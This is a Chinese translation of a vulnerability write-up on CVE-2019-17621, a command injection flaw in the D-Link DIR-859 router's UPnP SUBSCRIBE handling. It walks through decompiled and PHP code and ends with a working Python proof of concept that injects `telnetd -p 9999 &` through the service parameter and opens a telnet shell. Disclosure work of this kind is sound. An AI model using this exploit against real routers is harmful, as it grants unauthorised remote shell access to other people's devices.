D-Link DIR-859的RCE漏洞（CVE-2019–17621）

iso60001 1784天前

研究人员

Miguel Mendez Z.——（s1kr10s）
Pablo Pollanco——（secenv）

技术细节

目标：DIR-859
固件版本：1.06b01 Beta01, 1.05
架构：MIPS 32位

漏洞

远程代码执行（无需身份验证，一般处于局域网）

受影响的产品

漏洞分析

在涉及UPnP请求的代码中发现了远程代码执行漏洞。首先我们简要介绍以一下UPnP协议。

什么是UPnP？

UPnP是用在内网中多个设备之间的一种通信协议。它的一个关键功能是能自动地打开端口，无需用户为每个程序手动配置路由。这对于视频游戏系统等特别有用，因为其经常处于动态模式。

下图我们粗略显示了二进制可执行文件/htdocs/cgibin（涉及固件为DIR859Ax_FW106b01_beta01.bin 和DIR859Ax_FW105b03.bin）中的genacgi_main()函数，正是它包含了可远程执行代码的漏洞，当然我们也必须满足一系列前置条件。

如下所示，sprintf()设置了一个包含所有值的缓冲区，其中含有参数?service=*及其值，这就是我们的关注对象。

为了更好地理解漏洞的运作原理，我们在下面展示了genacgi_main()函数的部分反编译伪代码（为了方便理解，对变量名进行了修改）。

/* The method has to be SUBSCRIBE to reach the buggy code */
metodo = getenv("REQUEST_METHOD”);
request_uri = getenv("REQUEST_URI”);
request_uri_0x3f = strchr(request_uri,0x3f);
cmp_service = strncmp(request_uri_0x3f,"?service=",9)
if (cmp_service != 0) {
     return -1; 
}
/* more code */
valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");
request_uri_0x3f = request_uri_0x3f + 9;
if (valor_subscribe != 0) {
 /* more code */
}
server_id_3 = getenv("SERVER_ID");
http_sid_2 = getenv("HTTP_SID");
http_callback_2 = getenv("HTTP_CALLBACK");
http_timeout = getenv("HTTP_TIMEOUT");
http_nt_2 = getenv("HTTP_NT");
remote_addr = getenv("REMOTE_ADDR”);
    /* more code */
if (cmp_http_callback == 0) {
     /* more code */
str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f);
      if (str_http_callback_0x2f != (char *)0x0) {
           get_pid_1 = getpid();
/* vulnerable code */
sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);
/* send the data */
                   xmldbc_ephp(0,0,buffer_8,(int)stdout);
}
/* more code */

其中xmldbc_ephp()函数(最后调用send())将“buffer_8”中包含的数据发送给PHP。

int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout)
{
     size_t len_buffer;
     int ret_prepre;
     len_buffer = strlen(buffer_8);
     len_buffer._2_2_ = (short)len_buffer;
     ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);]
     return ret_prepre;
}

如代码所示，URL是从环境变量REQUEST_URI中获取的，其结构如下：

request_uri = "http://IP:PORT/*?service=file_name"
request_uri_0x3f = strchr(request_uri,0x3f);
————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f

通过调用strchr()和strncmp()，代码会检查值“0x3f”（等同于问号）和字符串?service=*存在与否。然后，它会验证请求方法：如果调用了SUBSCRIBE，代码将向request_uri_0x3f指针添加一个9字节的偏移量，将其放置在文件名所在的位置。接着其他一些变量被初始化，最后sprintf()用于连接多个变量的值，填充一个缓冲区，设置要传递的新变量，其中SHELL_FILE将以格式%s_%d.sh进行传递，主要用于为新的shell脚本命名。

一旦数据被复制到“buffer_8”缓冲区后，内存中的数据设置如下：

缓冲区中包含的数据现在由PHP文件run.NOTIFY.php进行处理，其中请求方法会被再次验证。

文件：run.NOTIFY.php

$gena_path = XNODE_getpathbytarget($G_GENA_NODEbase, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") 
$php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")
$php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")  
$php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")   
$php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") 
$php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")
$php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
       if ($SID == "")
          GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
       else
          GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
       GENA_unsubscribe($gena_path, $SID);
}

该脚本会调用PHP函数GENA_subscribe_new()，并向其传递cgibin程序中genacgi_main()函数获得的变量，还包括变量SHELL_FILE。如前面的genacgi_main()代码所示，该变量和文件名有关。

文件：gena.php，函数GENA_subscribe_new()

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
   anchor($node_base);
   $count = query("subsc ription#");
   $found = 0;
/* find subsc ription index & uuid */
   foreach ("subsc ription")
   {
          if (query("host")==$host && query("uri")==$uri)
          {
             $found = $InDeX; break;
          }
   }
if ($found == 0)
   {
          $index = $count + 1;
          $new_uuid = "uuid:".query("/runtime/genuuid");
   } else {
          $index = $found;
          $new_uuid = query("subsc ription:".$index."/uuid");
   }
/* get timeout */
   if ($timeout==0 || $timeout=="") {
          $timeout = 0; $new_timeout = 0;
   } else {
          $new_timeout = query("/runtime/device/uptime") + $timeout;
   }
/* set to nodes */
   set("subsc ription:".$index."/remote",$remote);
   set("subsc ription:".$index."/uuid",$new_uuid);
   set("subsc ription:".$index."/host",$host);
   set("subsc ription:".$index."/uri",$uri);
   set("subsc ription:".$index."/timeout",$new_timeout);
   set("subsc ription:".$index."/seq", "1");
   GENA_subscribe_http_resp($new_uuid, $timeout);
   GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}

从上述代码可以看出，GENA_subscribe_new()函数并不修改$shell_file变量。

我们还可以看到这样两个函数：GENA_subscribe_http_resp()，它只加载要在UPnP响应中传递的请求头，以及GENA_notify_init()，它会接收我们一直跟踪的$shell_file变量。

文件：gena.php，GENA_notify_init()函数

function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
      $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
      if ($inf_path=="")
      {
         TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
        return "";
      }
      $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
      if ($phyinf == "")
      {
        TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
        return "";
      }
$upnpmsg = query("/runtime/upnpmsg");
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
      " -V INF_UID=".$inf_uid.
      "-V HDR_URL=".$uri.
      " -V HDR_HOST=".$host.
      " -V HDR_SID=".$sid.
      " -V HDR_SEQ=0".
      " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */
}

这就是变量SHELL_FILE终结的地方，它是通过调用PHP函数fwrite()创建的新文件的名称的一部分。这个函数被使用了两次：第一次创建文件，它的名字来自我们控制的SHELL_FILE变量以及getpid()的输出，如下所示：

Request: http://IP:PORT/*?service=file_name
System: /var/run/nombre_archivo_13567.sh

第二次调用fwrite()向这个文件添加了一行，其中还使用了rm系统命令，以删除它自己。

为了进行攻击，我们只需要插入一个反引号包裹的系统命令，然后将其注入到shell脚本中。此时，rm命令将执行失败，因为文件名将被rm所返回的输出（空字符串）所替换。

Request: http://IP:PORT/*?service=`ping 192.168.0.20`
System: /var/run/`ping 192.168.0.20`_13567.sh
Run: rm -f `ping 192.168.0.20`_13467.sh

PoC

综上所述，我们就可以总结出最后的利用代码。

import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}').format(host=server, port=port)
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"

    sleep(1)
    print('[*] Sending Payload')
    con.connect((socket.gethostbyname(server),port))
    con.send(request.encode())
    results = con.recv(4096)

    sleep(1)
    print('[*] Running Telnetd Service')
    sleep(1)
    print('[*] Opening Telnet Connection\n')
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')

serverInput = raw_input('IP Router: ')
portInput = 49152

httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

通过这个漏洞，我们可以利用telnet服务来进行访问。

视频

https://youtu.be/Q1HC5ExoE30

相关脚本和分析：https://github.com/s1kr10s/D-Link-DIR-859-RCE

感谢你的阅读！

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://medium.com/@s1kr10s/d-link-dir-859-rce-unautenticated-cve-2019-17621-en-d94b47a15104

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